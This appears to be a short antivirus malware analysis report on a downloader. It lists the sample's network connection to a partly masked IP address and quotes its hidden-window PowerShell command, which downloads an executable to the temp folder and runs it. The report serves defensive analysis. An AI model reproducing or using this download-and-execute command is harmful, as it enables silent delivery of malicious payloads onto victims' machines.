Technical Information
Malicious functions
Downloads and executes
- http://18#.#89.58.222/da.exe as ([system.io.path]::gettemppath(
Network activity
Connects to
- '18#.#89.58.222':80
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 (New-Object System.Net.WebClient).DownloadFile('http://18#.#89.58.222/da.exe',([System.IO.Path]::GetTempPath()+'\iqLk.exe'));powershell.exe -w 1 Start-Process -Filepath ([System.IO.Path]::...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 Start-Process -Filepath %TEMP%\\iqLk.exe
